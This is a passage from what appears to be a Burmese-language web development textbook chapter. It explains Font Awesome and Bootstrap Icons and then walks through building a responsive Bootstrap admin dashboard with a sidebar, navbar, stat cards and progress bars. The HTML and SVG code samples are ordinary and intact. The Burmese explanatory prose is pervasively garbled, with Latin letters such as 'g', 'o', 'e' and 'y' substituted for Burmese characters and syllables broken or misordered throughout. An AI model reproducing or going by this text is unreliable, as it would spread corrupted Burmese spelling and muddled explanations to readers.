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(၁၀၀၀)  ကြေကျာ်  အကုန်လံုးမှတ်ထားoုိ့  မgoစ်နိုင်ပါyူး။  လုိအပ်လာကြေတာ့မှာ  ဒီလိပ်စာမှာ  ကိုယ်လုိချင်တဲ့
Keyword နဲ့ရုိက်ထည့်ပြပီး ရှာသုံးသွားရမှာ goစ်ပါတယ်။

https://fontawesome.com/icons

တစ်ကယ်ကြေတာ့ Font Awesome အသုံးgပုနည်းက ဒီမှာတင်ပြပီးသွားပါပြပီ။ ဒါကြေပမယ့် လက်ကြေတွ့ကြေရးစမ်းgoစ်
သွားကြေအာင် Bootstrap Component ကြေတွနဲတ့ွဲပြပီး နမူနာတစ်ချ ို ့ ကြေပးချင်ပါတယ်။ ကြေရးစမ်းeကည့်ပါ။

 HTML 

<ul class="list-group">
  <li class="list-group-item">
    <i class="far fa-square me-3"></i>
    Something todo
    <i class="fas fa-trash float-end text-danger"></i> 
  </li>
  <li class="list-group-item">
    <i class="fas fa-check me-3"></i>
    Another thing to do
    <i class="fas fa-trash float-end text-danger"></i>
  </li>
  <li class="list-group-item">
    <i class="fas fa-check me-3"></i>
    More thing to do
    <i class="fas fa-trash float-end text-danger"></i>
  </li>
</ul>

ဒါဟာ List Group Component ထဲမှာ Checkbox Icons ကြေလးကြေတွ၊ Trash  Icons ကြေလးကြေတွ ကြေပါင်းစပ်ပြပီး
Todo List App UI ကြေလးတစ်ခု oန်တီးလုိက်တာပါ။ ရလဒ်က အခုလုိgoစ်ပါလိမ့်မယ်။

ကြေနာက်နမူနာတစ်ခုအကြေနနဲ ့Tab UI မှာ Icons ကြေလးကြေတွ ထည့်eကည့်ပါမယ်။

https://fontawesome.com/icons


PWD 2023 – အခန်း (၈) – Icons 168

 HTML 

<ul class="nav nav-tabs">
  <li class="nav-item">
    <a href="#" class="nav-link active">
      <i class="fas fa-list"></i> All Users
    </a>
  </li>
  <li class="nav-item">
    <a href="#" class="nav-link">
      <i class="fas fa-users"></i> New Users
    </a>
  </li>
  <li class="nav-item">
    <a href="#" class="nav-link">
      <i class="fas fa-user"></i> My Profile
    </a>
  </li>
</ul>

ပုံမှန်သုံးကြေနeက Tab UI ကြေလးကိုပဲ Icons ကြေလးကြေတွထည့်လုိက်လုိ့ ပုိအသက်ဝင်သွားတာကို အခုလုိ ကြေတွgမင်
ရမှာ goစ်ပါတယ်။
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ကြေနာက်တစ်ခုအကြေနနဲ့ Form မှာ Icons ကြေလးကြေတွ ထည့်eကည့်eကပါမယ်။

 HTML 

<form>
  <div class="mb-2">
    <label><i class="fas fa-user me-2"></i> User Name</label>
    <input type="text" class="form-control">
  </div>
  <div class="mb-2">
    <label><i class="fas fa-envelope me-2"></i> Email</label>
    <input type="text" class="form-control">
  </div>
  <div class="mb-2">
    <label><i class="fas fa-key me-2"></i> Password</label>
    <input type="password" class="form-control">
  </div>
  
  <button class="btn btn-primary">
    <i class="fas fa-paper-plane me-2"></i> Register
  </button>
</form>

ဒီတစ်ခါမှာလဲ ပံုစံတူမုိလုိ့့ ကြေရာတတ်တဲ့ Form Input ကြေတွဟာ Icons ကြေလးကြေတွကြေeကာင့် ကွဲgပားသွားတာကို
အခုလုိ ကြေတွ့ရမှာ goစ်ပါတယ်။
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ကြေနာက်တစ်ခုအကြေနနဲ့ Table မှာ Icons ကြေလးကြေတွ ထည့်eကည့်eကပါမယ်။

 HTML 

<table class="table table-bordered table-striped">
  <tr>
    <th><i class="fas fa-hashtag"></i> ID</th>
    <th><i class="fas fa-bug"></i> Issue</th>
    <th><i class="fas fa-calendar"></i> Date</th>
    <th><i class="fas fa-sort-amount-down"></i> Level</th>
    <th><i class="fas fa-user"></i> Assign</th>
  </tr>
  <tr>
    <td>1</td>
    <td>A problem with something</td>
    <td>2020-08-11</td>
    <td><span class="badge bg-danger">critical</span></td>
    <td>Alice</td>
  </tr>
  <tr>
    <td>2</td>
    <td>Another problem with ...</td>
    <td>2020-08-12</td>
    <td><span class="badge bg-warning">important</span></td>
    <td>Bob</td>
  </tr>
</table>

Feature ကြေတွ ပုိပြပီးကြေတာ့ ကြေဝကြေဝဆာဆာ goစ်သွားသလုိ Table ပါ အချက်အလက်ကြေတွကိုလည်း ပုိပြပီးကြေတာ့
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ရှင်းလင်းgမင်သာသွားတာကို အခုလုိ ကြေတွ့ ရမှာ goစ်ပါတယ်။

ဒီကြေလာက်ဆိုရင်  Icons  ကြေတွရဲ့  အသုံးဝင်ပုံနဲ့  Font Awesome Icons  ကြေတွ အသုံးgပုပုံကို  ကြေကာင်းကြေကာင်း
သကြေyာကြေပါက်သွားကြေလာက်ပါပြပီ။ ဆက်လက်ပြပီးကြေတာ့ Bootstrap Icons အသုံးgပုပံုကြေလးကြေတွ ဆက်ကြေgပာပါ
ဦးမယ်။

Bootstrap Icons
Bootstrap Icons  ကြေတွ အသုံးgပုပုံကလည်း လွယ်ပါတယ်။  Icon Font CND  အကြေနနဲလ့ည်း ရနိုင်ကြေပမယ့်
မူလစတင်တီထွင်စဉ်က SVG Icon ကြေတွ အကြေနနဲ့ တီထွင်ခဲ့တာမုိ့လုိ့ SVG Icon အကြေနနဲ့ အသုံးgပုပုံကို ကြေoာ်gပ
သွားပါမယ်။ သူ့ ဝy်ဆိုက်ကကြေန Download ရယူနိုင်ပါတယ်။

- https://icons.getbootstrap.com

Download လုပ်ရမယ်ဆိုကြေပမယ့်  Icons ကြေပါင်း  (၁၀၀၀) ကြေကျာ်ကိုမှ oုိင်  Size က 650KB ကြေလာက်ပဲရှိတာ
ပါ။  ရလာတဲ့  Zip  oုိင်ကို  goည်ချလုိက်ရင် အခုလုိ  SVG Format  နဲ့  Icons  oုိင်ကြေတွကို  ကြေတွ့ gမင်ရမှာ goစ်ပါ
တယ်။

https://icons.getbootstrap.com/
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အ့ဲဒီoုိင်ကြေတွကိုပဲ တစ်ခုချင်း <img> Element နဲ ့ထည့်သွင်းအသံုးgပုလုိ ့ရပါတယ်။ ဥပမာ –

 HTML 

<img src="icons/alarm.svg">

ဒါမှမဟုတ် နှစ်သက်ရာပံုကို  Code Editor  နဲ့oွင့်လုိက်ပါ။ ပံုဆိုကြေပမယ့်  XML Format  နဲ့ ကြေရးထားတဲ့  Text
ကြေတွပဲမုိ့လုိ့ Code Editor နဲ့oွင့်လုိ့ ရပါတယ်။ ရလာတဲ့ ကုဒ်က ဒီလုိပံုစံgoစ်နိုင်ပါတယ်။

 SVG 

<svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-alarm" 
fill="currentColor" xmlns="http://www.w3.org/2000/svg">
  <path fill-rule="evenodd" d="M6.5 0a.5.5 0 0 0 0 1H7v1.07a7.001 7.001 0 0 0-
3.273 12.474l-.602.602a.5.5 0 0 0 .707.708l.746-.746A6.97 6.97 0 0 0 8 16a6.97
6.97 0 0 0 3.422-.892l.746.746a.5.5 0 0 0 .707-.708l-.601-.602A7.001 7.001 0 0
0 9 2.07V1h.5a.5.5 0 0 0 0-1h-3zm1.038 3.018a6.093 6.093 0 0 1 .924 0 6 6 0 1 
1-.924 0zM8.5 5.5a.5.5 0 0 0-1 0v3.362l-1.429 2.38a.5.5 0 1 0 .858.515l1.5-
2.5A.5.5 0 0 0 8.5 9V5.5zM0 3.5c0 .753.333 1.429.86 1.887A8.035 8.035 0 0 1 
4.387 1.86 2.5 2.5 0 0 0 0 3.5zM13.5 1c-.753 0-1.429.333-1.887.86a8.035 8.035 
0 0 1 3.527 3.527A2.5 2.5 0 0 0 13.5 1z"/>
</svg>
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ဒါ  alarm.svg မှာပါတဲ့ ကုဒ်ကြေတွgoစ်ပါတယ်။ ဒီကုဒ်အတိုင်း ကိုယ်သံုးလုိတဲ့  Component  ထဲမှာ ထည့်
ပြပီးကြေတာ့ သုံးနိုင်ပါတယ်။ ဒီလုိပါ – 

ဒါ  Button  Component  ထဲမှာ  SVG  Icon  ကို  ထည့်သံုးလုိက်တာပါ။  ဒီ  Icon  ကြေပါ်မှာ  အရွယ်အစား၊
အကြေရာင်၊ အပါအဝင် လုိအပ်တဲ့ Style ကြေတွကို သတ်မှတ်လုိရ့ပါတယ်။

အားသာချက်အားနည်းချက်ကြေတွကကြေတာ့ သူ့ကြေနရာနဲသူ့ပါပဲ။ Icon Font ကကြေတာ့ Class ကြေလးကြေတွကြေပးလုိက်
ယုံနဲ့ လုိချင်တဲ့  Icon ကိုရလုိ့ အသံုးgပုရတာ ပုိပြပီးကြေတာ့ အဆင်ကြေgပလွယ်ကူတဲ့သကြေyာမှာ ရှိပါတယ်။ ဒါကြေပ
မယ့်  SVG  Icons  ကြေတရွဲ့  အားသာချက်အကြေနနဲ့  JavaScript  နဲတ့ွဲသုံးပြပီး  Animation  အပါအဝင်  ပုိပြပီး
ဆန်းgပားတဲ့  လုပ်ကြေဆာင်ချက်ကြေတွ  ရရှိနိုင်ပါကြေသးတယ်။  ဒီအကြေeကာင်းကြေတွကိုကြေတာ့  အခုထည့်eကည့်လုိမ့ရ
ကြေသးပါyူး။ ဆက်လက်ကြေလ့လာရန်လုိပဲ့ မှတ်ထားရဦးမှာပါ။

ကြေနာက်တစ်ခန်းမှာ လက်ရှိကြေလ့လာခဲ့ပြပီးgoစ်တဲ့ Component ကြေတွ Layouts ကြေတွနဲ့ Icons ကြေတွကို ကြေပါင်းစပ်
oန်တီးထားတဲ့ နမူနာ Admin Dashboard UI ကြေလးတစ်ခုကို oန်တီးeကည့်eကပါမယ်။
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ကြေရှ့ပုိင်းမှာကြေလ့လာခဲ့တဲ့ Component ကြေတွ Layout ကြေတွနဲ့ Icons ကြေတွကို လက်ကြေတွ့စမ်းသပ် ကြေလ့ကျင့် နိုင်
ကြေစoုိအ့တွက် Admin Dashboard UI တစ်ခုကို နမူနာအကြေနတဲ့ oန်တီးeကည့်ချင်ပါတယ်။ ပြပီးသွားတဲ့အခါ ရ
လာမယ့်ရလဒ်က ဒီလုိပါ –

Responsive  လုပ်ကြေဆာင်ချက်ကို  တစ်ခါထဲ ထည့်လုပ်မှာgoစ်ပြပီး  Large Screens  ကြေတွမှာ gမင်ကြေတွ့ရမယ့်
ရလဒ်နဲ့  Small  Screens  ကြေတွမှာ  gမင်ကြေတွ့ရမယ့်  ရလဒ်ကို  ယှဉ်တွဲကြေoာ်gပထားပါတယ်။  ကြေသချာင်္ဂရုစိုက်
eကည့်လုိက်ရင်  အများကြကီးကွာသွားတာမျ ို း  မဟုတ်ပါyူး။  Large  Screens  ကြေတွမှာ  yယ်yက်gခမ်း
Sidebar Menu ကြေoာ်gပတဲ့အခါ Icon နဲ့ စာ တွဲgပပြပီး၊ Small Screens ကြေတွမှာ Icon ကြေတွချည်းပဲ gပလုိက်တာ
ပါ။ ပြပီးကြေတာ့ Large Screens အတွက် Main Content ဧရိယာမှာ Block ကြေလးကြေတွကို ကြေyးချင်းကပ် ကြေoာ်gပ
ရာကကြေန Small Screens အတွက် အကြေပါ်ကြေအာက်စီပြပီး gပလုိက်တာပါပဲ။
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Step-1 – HTML Structure
တစ်ဆင့်ချင်း Step by step ကြေgပာgပချင်သလုိ၊ တစ်ခါထဲ အဆင့်လုိက် လုိက်လုပ်eကည့်ကြေစချင်ပါတယ်။ ကြေရး
ရမယ့်ကုဒ်ကြေတွများအတွက်  Code  Pen  ကို  မသုံးကြေတာ့yဲ၊  ကိုယ့်yာသာ  HTML  Document  တစ်ခု
တည်ကြေဆာက်ပြပီးကြေတာ့ ကြေရးeကည့်သင့်ပါတယ်။ ပထမအဆင့်အကြေနနဲ့ လုိအပ်တဲ့ အကြေgခခံ  HTML Structure
ကိုကြေရးကြေပးရပါမယ်။

 HTML 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Dashboard</title>
    <link rel="stylesheet" 
href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css"
>

<link rel="stylesheet" 
     href="https://use.fontawesome.com/releases/v5.15.1/css/all.css">
</head>
<body>

    <script 
src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min
.js"></script>
</body>
</html>

အကြေgခခံ  HTML  Structure  တစ်ခုgoစ်ပြပီး  viewport လုိ့ကြေခါ်တဲ့  <meta> Element  ကိုသတိgပုပါ။
Responsive Layout  အတွက်  မgoစ်မကြေန ပါဝင်oုိလုိ့အပ်တဲ့  Element  goစ်ပါတယ်။ ဒီ  Element  မပါရင်
Browser ကြေတွက Screen Size ကြေသးတဲ့အခါ ဝy်ဆိုက်ကိုဆန့်သွားကြေအာင် ဆွဲချံု့ပြပီး gပတတ်eကပါတယ်။ ဒီ
ကြေတာ့အကုန်လုံး  ကြေသးကြေသးကြေလးကြေတွ  goစ်ကုန်ပြပီး  သုံးရတာအဆင်မကြေgပကြေတာ့ပါyူး။  Viewport  Meta
Element  က  အ့ဲဒီလုိ  မချံု့yဲ  သူ့အရှိအတိုင်းgပကြေပးoုိ့  ကြေgပာထားတာပါ။  Screen  ကြေသးလုိ့မဆန့်ရင်
အဆင်ကြေgပကြေအာင်gပတဲ့ Responsive လုပ်ကြေဆာင်ချက်ကို ကိုယ့်yာသာ လုပ်ကြေပးမှာမုိလုိ့့ Browser yက်က
လုပ်oုိမ့လုိတဲ့သကြေyာ goစ်ပါတယ်။ 
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ပြပီးတဲ့အခါ လုိအပ်တဲ့  CSS  နဲ့  JavaScript  ကြေတွကို  CDN  ကကြေနချတိ်ပြပီး ထည့်ထားလုိက်ပါတယ်။ တစ်လံုး
ချင်းကူးကြေရးမယ့်အစား သက်ဆိုင်ရာ Documentation ကကြေန CDN လိပ်စာကို ကူးယူသင့်ပါတယ်။

- https://getbootstrap.com
- https://fontawesome.com

HTML/CSS မှာ မှားစရာ သိပ်မရှိပါyူး။ အများဆံုး မှားeကရင် ချတိ်ဆက်ထားတဲ့ လိပ်စာကြေတွလဲွကြေနeကတာ
များပါတယ်။ ကူးကြေရးမယ်ဆိုရင်လည်း ကြေသကြေသချာချာကြေလး င်္ဂရုစိုက်ပြပီးကြေရးကြေပးပါ။

Step-2 – Sidebar Navigation
yယ်လက်  Sidebar  နဲ့  Main  ဧရိယာကို နှစ်gခမ်းခွဲပြပီး gပချင်လုိ့  Layout  လုပ်ကြေဆာင်ချက်တစ်ခု စထည့်ပါ
မယ်။ <body> အတွင်းမှာ ဒီလုိထည့်ကြေရးကြေပးပါ။

 HTML 

<div class="container-fluid">
<div class="row g-0">

<nav class="col-2 bg-light pe-3">

</nav>
<main class="col-10 bg-secondary">

</main>
</div>

</div>

Fluid Container  တစ်ခုအတွင်းမှာ  <nav> အတွက်  Column (၂)  ခုစာကြေနရာယူပြပီး  <main> အတွက်
Column (၁၀)  ခုစာကြေနရာယူထားတာပါ။ တစ်ခုနဲတ့စ်ခုeကားထဲမှာ  Gutter မရှိကြေစချင်လုိ့  g-0 Class  ကို
ထည့်ကြေပးထားတာ သတိgပုပါ။

Logo နဲ ့Title ဆက်ထည့်eကပါမယ်။ <nav> အတွင်းထဲမှာ ဒီလုိကြေရးကြေပးပါ။

https://fontawesome.com/
https://getbootstrap.com/
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 HTML 

<div class="container-fluid">
<div class="row g-0">

<nav class="col-2 bg-light pe-3">
<h1 class="h4 py-3 text-center text-primary">

<i class="fas fa-ghost me-2"></i>
<span class="d-none d-lg-inline">

GHOST ADMIN
</span>

</h1>
</nav>
<main class="col-10 bg-secondary">

</main>
</div>

</div>

<h1> Element  တစ်ခုအတွင်းမှာ  Icon  ကြေလးတစ်ခုနဲအ့တူ  ကြေခါင်းစဉ်တပ်ကြေပးလုိက်တာပါ။  <h1>  က
အရမ်းကြကီးကြေနမှာ စိုးလုိ့ h4 Class ထည့်ကြေပးထားပါတယ်။ ဒါကြေeကာင့် <h1> ဆိုကြေပမယ့် အရွယ်အစားကို h4
အရွယ်အစားကြေလာက်နဲ့ gပကြေပးမှာပါ။ ကျန်တဲ့လုပ်ကြေဆာင်ချက်ကြေတွက ဆန်းgပားတာ မပါyဲ ကြေရှ့မှာကြေလ့လာ
ခဲ့ပြပီးသား လုပ်ကြေဆာင်ချကက်ြေတွပဲမုိလုိ့ ့ကိုယ့်yာသာ ကုဒ်ကိုoတ်ပြပီး ကြေလ့လာeကည့်လုိက်ပါ။

ကြေခါင်းစဉ်မှာ  d-none လုိ့  ကြေgပာထားတဲ့အတွက်  Small  Screen  ကြေတွမှာ  ကြေပျာက်ကြေနမှာပါ။  d-lg-
inline လုိထ့ပ်ကြေgပာထားတဲ့အတွက်  Large Screen  ကြေတွမှာကြေတာ့ ကြေပါ်ကြေနမှာgoစ်ပါတယ်။  Responsive
လုပ်ကြေဆာင်ချက်တစ်ခုအကြေနနဲ ့ထည့်ကြေပးထားတာပါ။ 

ဆက်လက်ပြပီး Menu Item ကြေတွကို  List Group သုံးပြပီး အခုလုိ ထည့်ကြေပးပါ။ <h1> ရဲ့ကြေအာက်မှာ ကပ်ပြပီး
ထည့်ရမှာပါ။

 HTML 

<div class="list-group text-center text-lg-start">
<span class="list-group-item disabled d-none d-lg-block">

<small>CONTROLS</small>
</span>
<a href="#" class="list-group-item list-group-item-action active">

<i class="fas fa-home"></i>
<span class="d-none d-lg-inline">Dashboard</span>

</a>
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<a href="#" class="list-group-item list-group-item-action">
<i class="fas fa-users"></i>
<span class="d-none d-lg-inline">Users</span>
<span class="d-none d-lg-inline badge bg-danger 

rounded-pill float-end">20</span>
</a>
<a href="#" class="list-group-item list-group-item-action">

<i class="fas fa-chart-line"></i>
<span class="d-none d-lg-inline">Statistics</span>

</a>
<a href="#" class="list-group-item list-group-item-action">

<i class="fas fa-flag"></i>
<span class="d-none d-lg-inline">Reports</span>

</a>
</div>

<div class="list-group mt-4 text-center text-lg-start">
<span class="list-group-item disabled d-none d-lg-block">

<small>ACTIONS</small>
</span>
<a href="#" class="list-group-item list-group-item-action">

<i class="fas fa-user"></i>
<span class="d-none d-lg-inline">New User</span>

</a>

<a href="#" class="list-group-item list-group-item-action">
<i class="fas fa-edit"></i>
<span class="d-none d-lg-inline">Update Data</span>

</a>
<a href="#" class="list-group-item list-group-item-action">

<i class="far fa-calendar-alt"></i>
<span class="d-none d-lg-inline">Add Events</span>

</a>
</div>

ကြေရးရမယ့်ကုဒ်ကြေတွများကြေပမယ့်  ကြကိုးစားပြပီးကြေရးကြေပးပါ။  များများကြေရးမှပဲ  အကြေလ့အကျင့်ရပြပီး  gမန်gမန်
ကျွမ်းကျင်မှာပါ။  တစ်ကယ်ကြေတာ့  ကုဒ်ကြေတွသာများကြေနတာပါ  အဆန်းအgပားကြေတာ့  မပါပါyူး။  အများစုက
ကြကိုတင်ကြေလ့လာခဲ့eကပြပီးသား လုပ်ကြေဆာင်ချက်ကြေတွပါပဲ။ ထူးgခားချက်အကြေနနဲ့  List Group ကြေတွမှာ text-
center လုိ့ ကြေgပာထားတဲ့အတွက် စာကြေတွကို Center Alignment နဲ့gပပါလိမ့်မယ်။ ဒါကြေပမယ့် text-lg-
left လုိ့ကြေgပာထားတဲ့အတွက် Large Screen ကြေတွမှာကြေတာ့ Left Alignment နဲ့gပမှာgoစ်ပါတယ်။ Screen
ကြေသးသွားလုိ ့စာကြေတွကိုကြေoျာက်ပြပီး Icon ကြေတခွျည်းgပတဲ့အခါ အလယ်မှာgပမှ eကည့်ကြေကာင်းမှာပါ။

ပြပီးတဲ့အခါ List Group နဲ့ List Item ကြေတွအတွက် <ul><li> ကိုမသုံးပါyူး။ <div><a> ကိုသုံးထားပါ
တယ်။  နှိပ်လုိရ့တဲ့  Link ကြေတွgoစ်ကြေစချင်လုိပ့ါ။  နှိပ်လုိရ့တဲ့  Link  မှန်းကြေပါ်လွင်ကြေအာင်  List  Item  ကြေတွမှာ
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list-group-item-action လုိ့ကြေခါ်တဲ့ Class တွဲထည့်ကြေပးထားတာကို သတိgပုပါ။ ကိုယ်တိုင် ပါရင်
တစ်မျ ို း၊ မပါရင်တစ်မျ ို း စမ်းeကည့်နိုင်ပါတယ်။

Screen  ကြေသးတဲ့အခါ  ကြေoျာက်ထားရမယ့်  Element  အားလုံးမှာ  d-none Class  ထည့်ကြေပးထားပါတယ်။
Screen ကြကီးတဲ့အခါ ကြေoာ်gပကြေစoုိအ့တွက် d-lg-block နဲ့ d-lg-inline တိုက့ို သူ့ကြေနရာနဲသူ့ သံုးကြေပး
ထားပါတယ်။ ကြေလ့လာeကည့်လုိက်ပါ။

ဒီအဆင့်ထိကြေရးပြပီးပြပီဆိုရင် စစမ်းလုိရ့ပါပြပီ။ ကြေရးထားတဲ့ HTML Document ကို Save ပြပီး Browser တစ်ခုနဲ့
oွင့်eကည့်လုိက်ရင် အခုလုိရလဒ်ကို ကြေတွ့gမင်ရမှာပဲgoစ်ပါတယ်။

လုိချင်တဲ့အတိုင်း  Sidebar  Navigation  နဲ့  Content  ဧရိယာအလွတ်တစ်ခုကို  ရရှိကြေနgခင်းgoစ်ပါတယ်။
ကြေခါင်းစီးကြေတွ Icon ကြေတွအgပည့်အစံုပါသလုိ Responsive လုပ်ကြေဆာင်ချက်လည်းပါလုိ့  Screen Size အကြကီး
အကြေသး အမျ ို းမျ ို းလည်း စမ်းလုိရ့ကြေနပါပြပီ။ yာမှခက်ခက်ခဲခဲ သိပ်မလုပ်လုိက်ရyဲ ရရှိကြေနgခင်း goစ်ပါတယ်။
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Step-3 – Horizontal Navbar
Main  ဧရိယာအကြေပါ်ပုိင်းမှာ  Navbar  တစ်ခုဆက်ထည့်eကပါမယ်။  <main> အoွင့်အပိတ်အတွင်းမှာ ဒီလုိ
ကြေရးထည့်ကြေပးပါ။

 HTML 

<nav class="navbar navbar-expand-lg navbar-light bg-light">

<div class="flex-fill"></div>

<ul class="navbar-nav">
<li class="nav-item dropdown">

<a href="#" class="nav-link dropdown-toggle"
data-bs-toggle="dropdown">
<i class="fas fa-user-circle"></i>

</a>

<ul class="dropdown-menu dropdown-menu-end">
    <li>

<a href="#" class="dropdown-item">User Profile</a>
    </li>
    <li>

<a href="#" class="dropdown-item">Logout</a>
    </li>
</ul>

</li>
<li class="nav-item">

<a href="#" class="nav-link"><i class="fas fa-cog"></i></a>
</li>

</ul>
</nav>

ထူးgခားချက်အကြေနနဲ့ Menu ကို ညာyက်gခမ်းမှာ ကပ်ကြေပါ်ကြေစချင်လုိ့ flex-fill Element အလွတ်တစ်
ခု ထည့်ထားကြေပးတာကို သတိgပုပါ။ တgခားနည်းကြေတွ ရိှကြေပမယ့်၊ ဒီနည်းရှိကြေeကာင်း သိကြေစချင်လုိ့  ထည့်ကြေပး
ထားတာပါ။ ဒါကြေeကာင့် Dropdown အပါအဝင် Menu က အခုလုိ ညာyက်ကပ် ကြေoာ်gပကြေနမှာပါ။
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တစ်goည်းgoည်းနဲ့  ရုပ်လံုးကြေပါ်လာပါပြပီ။  Main  ဧရိယာထဲမှာ  လုိချင်တဲ့  Block  ကြေလးကြေတွကို  Card
Component ကြေတွဆက်ပြပီး ထည့်eကပါမယ်။

Step-4 – Alert & Stat Blocks
လုိချင်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွ ထပ်ထည့်oုိအ့တွက် Main ဧရိယာထဲမှာ ကြေနာက်ထပ် Layout တစ်ခုထပ်လုိ
ပါတယ်။ ဒါကြေeကာင့် Container တစ်ခုကို Navbar ကြေအာက်မှာ အခုလုိကပ်ထည့်ကြေပးပါ။

 HTML 

<div class="container-fluid mt-3 p-4"> 

</div>

Navbar နဲ့ နည်းနည်းခွာgပကြေစချင်လုိ့  Margin Top ထည့်ထားပြပီး အထဲက Element ကြေတွကို ကြေyာင်ကကြေန
ခွာgပကြေစချင်လုိ့  Padding  လည်းထည့်ထားပါတယ်။ အ့ဲဒီ  Container  ထဲမှာ  Alert Component  တစ်ခုကို
အခုလုိ ဆက်ထည့်လုိက်ပါ။
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 HTML 

<div class="row mb-3">
<div class="col">

<div class="alert alert-info">
<i class="fas fa-download me-2"></i> A new version of admin 
dashboard is released. <a href="#">Download Now!</a>

</div>
</div>

</div> 

row တစ်ခုအတွင်းထဲမှာ  အgပည့်ကြေနရာယူထားတဲ့  col တစ်ခုနဲ့  ထည့်ကြေပးထားတာပါ။  ပြပီးတဲ့အခါ  သူ့
ကြေအာက်မှာ Stat Blocks ကြေလးကြေတွကို ကြေနာက် row တစ်ခုနဲ ့အခုလုိ ဆက်ထည့်ကြေပးလုိက်ပါ။

 HTML 

<div class="row flex-column flex-lg-row">
<h2 class="h6 text-white-50">QUICK STATS</h2>
<div class="col">

<div class="card mb-3">
<div class="card-body">

<h3 class="card-title h2">1,250</h3>
<span class="text-success">

<i class="fas fa-chart-line"></i>
Daily visitors

</span>
</div>

</div>
</div>
<div class="col">

<div class="card mb-3">
<div class="card-body">

<h3 class="card-title h2">8,210</h3>
<span class="text-success">

<i class="fas fa-chart-line"></i>
Weekly visitors

</span>
</div>

</div>
</div>
<div class="col">

<div class="card mb-3">
<div class="card-body">

<h3 class="card-title h2">12,560</h3>
<span class="text-success">

<i class="fas fa-chart-line"></i>
Monthly visitors

</span>
</div>

</div>
</div>
<div class="col">

<div class="card mb-3">
<div class="card-body">

<h3 class="card-title h2">102,250</h3>
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<span class="text-success">
<i class="fas fa-chart-line"></i>
Yearly visitors

</span>
</div>

</div>
</div>

</div>

သူလည်းပဲ gပချင်တာများလုိ့ ကြေရးရတာများကြေပမယ့် အထူးအဆန်းမပါပါyူး။ row အတွင်းမှာ col (၄) ခုရှိ
ပြပီး col တစ်ခုစီအတွင်းမှာ Card Component ကြေတွထည့်ထားတာပါ။ ထူးgခားချက်ဆိုလုိ့ Screen ကြေသးရင်
flex-column နဲ့ အကြေပါ်ကြေအာက်စီgပခိုင်းပြပီး flex-lg-row နဲ့ Screen ကြကီးတဲ့အခါ ကြေyးတိုက်စီပြပီး gပ
ခိုင်းထားပါတယ်။

ဒီအဆင့်မှာ ရလဒ်ကိုeကည့်လုိက်ရင် အခုလုိပံုစံgoစ်ကြေနပါပြပီ။

ကြေတာ်ကြေတာ်ကြေလး  gပည့်စံုကြေနပါပြပီ။  ကြေရးနည်းအရ  မခက်ပါyူး။  yာကြေလးနဲ့yယ်လုိ  ကြေပါင်းစပ်  oန်တီးရင်
ကြေကာင်းမလဲဆိုတာကို gမင်တတ်oုိသ့ာလုိတာပါ။ gမင်တတ်oုိ့ ဆိတုာကကြေတာ့ အခုလုိ နမူနာကြေတွအပါအဝင်
လက်ကြေတွ့ကြေတွ များများလုပ်ကြေပးရင် တစ်goည်းgoည်း ရလာပါလိမ့်မယ်။
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Step-5 – Location & Data Blocks
ကြေနာက်ထပ် col (၂) ခုပါတဲ့ row တစ်ခုထပ်ထည့်ပြပီး လက်စသတ်လုိက်eကပါမယ်။ ဒီလုိကြေရးထည့်ကြေပးပါ။

 HTML 

<div class="row mt-4 flex-column flex-lg-row">

<div class="col">
<h2 class="h6 text-white-50">LOCATION</h2>

<div class="card mb-3" style="height: 280px">
<div class="card-body">

<small class="text-muted">Regional</small>
<div class="progress mb-4 mt-2" style="height: 5px">

<div class="progress-bar 
bg-success w-25"></div>

</div>
<small class="text-muted">Global</small>
<div class="progress mb-4 mt-2" style="height: 5px">

<div class="progress-bar 
bg-primary w-75"></div>

</div>
<small class="text-muted">Local</small>
<div class="progress mb-4 mt-2" style="height: 5px">

<div class="progress-bar 
bg-warning w-50"></div>

</div>

<small class="text-muted">Internal</small>
<div class="progress mb-4 mt-2" style="height: 5px">

<div class="progress-bar bg-danger w-25"></div>
</div>

</div>
</div>

</div>

<div class="col">
<h2 class="h6 text-white-50">DATA</h2>

<div class="card mb-3" style="height: 280px">
<div class="card-body">

<div class="text-end">
<button class="btn btn-sm 

btn-outline-secondary">
<i class="fas fa-search"></i>

</button>
<button class="btn btn-sm 

btn-outline-secondary">
<i class="fas fa-sort-amount-up"></i>

</button>
<button class="btn btn-sm 

btn-outline-secondary">
<i class="fas fa-filter"></i>

</button>
</div>
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<table class="table">
<tr>

<th>ID</th>
<th>Age Group</th>
<th>Data</th>
<th>Progress</th>

</tr>
<tr>

<td>1</td>
<td>20-30</td>
<td>19%</td>
<td>

<i class="fas fa-chart-pie"></i>
</td>

</tr>
<tr>

<td>2</td>
<td>30-40</td>
<td>40%</td>
<td>

<i class="fas fa-chart-bar"></i>
</td>

</tr>
<tr>

<td>3</td>
<td>40-50</td>
<td>20%</td>
<td>

<i class="fas fa-chart-line"></i>
</td>

</tr>
<tr>

<td>4</td>
<td>>50</td>
<td>11%</td>
<td>

<i class="fas fa-chart-pie"></i>
</td>

</tr>
</table>

</div>
</div>

</div>

</div>

သူ့မှာလည်း  flex-column နဲ့  flex-lg-row ကိုတွဲပြပီး  Responsive  လုပ်ကြေဆာင်ချက် ထည့်ထားပါ
တယ်။ Component အကြေနနဲ့ ကြေရှ့နမူနာမှာ မကြေgပာခဲ့တာကြေလးတစ်ခု ပါကြေနပါတယ်။ Progress Component
ပါ။  Progress  ဆိုတာ  အလုပ်တစ်ခုခုလုပ်ကြေနစဉ်  ပြပီးစီးမှုအကြေgခအကြေနကို  gပတဲ့  Component  ဆိုကြေတာ့
JavaScript နဲတ့ွဲမသံုးရင် သိပ်အဓိပ္ပါယ်မရှိလုိ့ ထည့်မကြေgပာခဲ့တာပါ။ ဒီကြေနရာမှာကြေတာ့ အသွင်အgပင်ကြေoာ်gပပုံ
အရ သင့်ကြေတာ်ကြေနလုိ့ ထည့်သံုးထားပါတယ်။ ကြေရးနည်းကမခက်ပါyူး။ ဒီလုိပါ –
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 HTML 

<div class="progress">
<div class="progress-bar bg-danger"></div>

</div>

ပင်မ  Element  ကို  progress လုိ့ကြေပးပြပီး အထဲမှာ  progress-bar ထည့်ကြေပးလုိက်ယုံပါyဲ။  Bar  ရဲ့
